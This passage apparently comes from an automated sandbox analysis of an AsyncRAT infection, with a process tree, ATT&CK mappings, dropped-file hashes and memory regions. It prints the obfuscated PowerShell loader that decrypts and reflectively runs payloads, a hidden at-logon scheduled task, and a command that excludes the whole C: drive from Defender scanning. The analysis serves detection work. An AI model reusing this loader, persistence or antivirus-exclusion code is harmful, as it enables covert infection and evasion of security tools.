$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3124
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'svchoststr336_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\inicia_str_336.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\inicia_str_336.vbs"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4236
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\inicia_str_336.bat" "
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Roaming\inicia_str_336.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        9⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4240

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
846c0128e4b1038603d8d85cab2b567a

SHA1
fff201f81132c49f7796e2788471d6ce7ba8847c

SHA256
4483f255b0b3b47b854b25b0868e68f180990a04ae1c819afccf147815250a56

SHA512
ea19e0d3b62670f39c5d9130e1bbcef7abf74e73eee440b8cf048845973207da3d56ccf7a435e11727cdf48f75ccfe0f0081574096334bac6a029f1b37873bda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
02f5155e5b6368c7f6b02fb2b8153abe

SHA1
af8a1e2b2224ef1ffa1029c6892651345e4cb17e

SHA256
8897017df3298e01f9ef0a5c8f6dd039ad244e8e84525f16883d2dc0f5dd9115

SHA512
9b7ad053a5409e180ac1452229929e89850aec64c45528eda99907b0936d07fd7bcedb9aedd6ff9c45ee7ddf4ff0e6adb80ff0344b56ed6b1c6e6b8a7d7d0870

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs

Filesize
203KB

MD5
02081ae0dbab5cbb3ba6fb3d316bb850

SHA1
0b422b950e717427ec53709384b214433871f78b

SHA256
f93f8db130adb1cb891c6a8591d1c2f518a4ba3d5aed98d1e7b530030b0297bb

SHA512
7ae8c0859f25c7cecaa0be83d5ac99d20bde7287ef1f49ddd3114d4683c8ec05a2947f0c0d27b62ea5b4b0764d6ae0a104ffa7d6d84a46b1bd0ecb1eac9d718d

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe

Filesize
6.4MB

MD5
97a429c4b6a2cb95ece0ddb24c3c2152

SHA1
6fcc26793dd474c0c7113b3360ff29240d9a9020

SHA256
06899071233d61009a64c726a4523aa13d81c2517a0486cc99ac5931837008e5

SHA512
524a63f39e472bd052a258a313ff4f2005041b31f11da4774d3d97f72773f3edb40df316fa9cc2a0f51ea5d8ac404cfdd486bab6718bae60f0d860e98e533f89

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAC4D.tmp

Filesize
1KB

MD5
c5d112095a14f8fa5cd53ab95b2ff0c9

SHA1
9fe7ae163cbe28fb587c252040db239a33af5e3a

SHA256
bac1bea3a08d98ec93e588d429a93f3ee0b0eb50b5ae0f3ff7229b327912c65a

SHA512
80ebf22bb9d703cfea81baa2ed23e1f2180c2c9d38e331f56b9c81d333f2682df34d864c01d3d9066f395666c55a37f7c779bddf61a566d62b181a85955f4d84

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xbzmcnc.gyv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a3vm3ak5\a3vm3ak5.dll

Filesize
4KB

MD5
3e6f7fc52e99121f17484d56f3f73633

SHA1
40b62f336510968ece46ec5a7c3fcb7b5e0ed408

SHA256
361c555d3c5053de02b5cea4bb04383d2306ef9bdb528e6a38fabf82e44c8c25

SHA512
f8063d915a0c2052cd91cc11b6da02c7ca67293095518a94f0f4d8c37394807d2eefd49fd40d402cd734ef4dff7da4769da14dc999b5a7da46d1af97463073b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
74KB

MD5
88e72154cfed4a9932b4a4799aab6df7

SHA1
043136d11ffa2f5aa6c8f6e961686a31a9eb50ef

SHA256
3dc1f5d2c9260a882c6ebe35a4be8b407eced4ab579552b49d3e4d60ea68a373

SHA512
f1479b3cab97a661360e9582a9cf5d49a28f8d92b63710e02345a3dfc19c151d8923990cf4c41936df9baae25a907e0c699133a8a0c4f09858d7a1021abf0bcf

Download Submit
C:\Users\Admin\AppData\Roaming\inicia_str_336.vbs

Filesize
114B

MD5
aa3665d2f052cada68c000e45cb44943

SHA1
ab7fc993c6acef126a0dbb14ff482e489bdc81c2

SHA256
0c09a0aa59a0b6c2bf083db708b79f0fdd343c58085d3cd6c2e21cf6b633fe56

SHA512
fffb07b67568fa2d8801646f7c28f8ab194cc35a4c6502cea96c8fb3dab2a584b961fd4fdf75b89ef98c4c73a03ee7ecc64e798657d1d9fab37b743b2a08bc8e

Download Submit
C:\windows\temp\ao54d3bs.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3vm3ak5\CSCAC5CE6E554D54FDF9E2AE7C2438C11C5.TMP

Filesize
652B

MD5
198374f93ddae08a4ae52758c3047765

SHA1
c15c905a64be85d4b355cead2b3842444e010c7c

SHA256
46b74cafb0bd63d9c32fb159bdf06de6ef42dd9139a749a70440364a13236867

SHA512
099f33feea03a27d163bfa41025f35c52c52a70532d4cfadf1558ca0b48270114078ac1bcb903fed8ba04a956fabb29b5336b4fd633ef0998cc50e59adac6b71

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3vm3ak5\a3vm3ak5.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3vm3ak5\a3vm3ak5.cmdline

Filesize
369B

MD5
d1ea13e90daeb9465fed9ef9ccb6744b

SHA1
75f4abb33992f6e2fb82b72b406bef1b11f1bf3b

SHA256
12bb846f83b73dfb62f74eacf9d8a52946e20eb3dc2992d848d8b763f7133b87

SHA512
29c8be415ed392750bd3c1d4f77e4bc185027f9e8feb8bf82d7b45ba83e4089daacdda61bb126cb97e8adfcbae70d68159882ef1d128063c09fd9a891106e973

Download Submit
memory/372-4-0x00007FF74E040000-0x00007FF74EA13000-memory.dmp

Filesize
9.8MB

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memory/608-53-0x000002162D3A0000-0x000002162D3AA000-memory.dmp

Filesize
40KB

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memory/608-12-0x0000021629EB0000-0x000002162A102000-memory.dmp

Filesize
2.3MB

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memory/608-57-0x000002162A180000-0x000002162A192000-memory.dmp

Filesize
72KB

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memory/608-58-0x000002162D400000-0x000002162D680000-memory.dmp

Filesize
2.5MB

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memory/608-10-0x000002160EF50000-0x000002160F5BA000-memory.dmp

Filesize
6.4MB

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memory/3124-72-0x0000000005210000-0x0000000005838000-memory.dmp

Filesize
6.2MB

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memory/3124-71-0x0000000002A30000-0x0000000002A66000-memory.dmp

Filesize
216KB

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memory/3124-73-0x0000000005040000-0x0000000005062000-memory.dmp

Filesize
136KB

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memory/3124-74-0x00000000050E0000-0x0000000005146000-memory.dmp

Filesize
408KB

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memory/3124-75-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

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memory/3124-85-0x00000000058B0000-0x0000000005C04000-memory.dmp

Filesize
3.3MB

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memory/3124-87-0x0000000005E10000-0x0000000005E2E000-memory.dmp

Filesize
120KB

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memory/3124-88-0x0000000005EC0000-0x0000000005F0C000-memory.dmp

Filesize
304KB

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memory/3124-89-0x00000000077C0000-0x0000000007E3A000-memory.dmp

Filesize
6.5MB

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memory/3124-90-0x0000000006F50000-0x0000000006F6A000-memory.dmp

Filesize
104KB

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memory/3124-91-0x0000000006FC0000-0x0000000006FC8000-memory.dmp

Filesize
32KB

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memory/3124-92-0x0000000006FD0000-0x0000000006FDE000-memory.dmp

Filesize
56KB

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memory/3124-93-0x0000000007E40000-0x00000000083E4000-memory.dmp

Filesize
5.6MB

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memory/3888-104-0x00000000071C0000-0x00000000071F2000-memory.dmp

Filesize
200KB

Download
memory/3888-105-0x0000000070BC0000-0x0000000070C0C000-memory.dmp

Filesize
304KB

Download
memory/3888-115-0x00000000064E0000-0x00000000064FE000-memory.dmp

Filesize
120KB

Download
memory/3888-116-0x0000000007200000-0x00000000072A3000-memory.dmp

Filesize
652KB

Download
memory/3888-117-0x0000000007320000-0x000000000732A000-memory.dmp

Filesize
40KB

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memory/3888-118-0x0000000007540000-0x00000000075D6000-memory.dmp

Filesize
600KB

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memory/3888-119-0x00000000074B0000-0x00000000074C1000-memory.dmp

Filesize
68KB

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memory/4036-140-0x0000000006380000-0x0000000006392000-memory.dmp

Filesize
72KB

Download
memory/4036-141-0x00000000079E0000-0x0000000007A7C000-memory.dmp

Filesize
624KB

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memory/4516-36-0x000001EDD57B0000-0x000001EDD57B8000-memory.dmp

Filesize
32KB

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memory/4516-23-0x000001EDD5790000-0x000001EDD57AC000-memory.dmp

Filesize
112KB

Download
memory/4516-18-0x000001EDD5740000-0x000001EDD5762000-memory.dmp

Filesize
136KB

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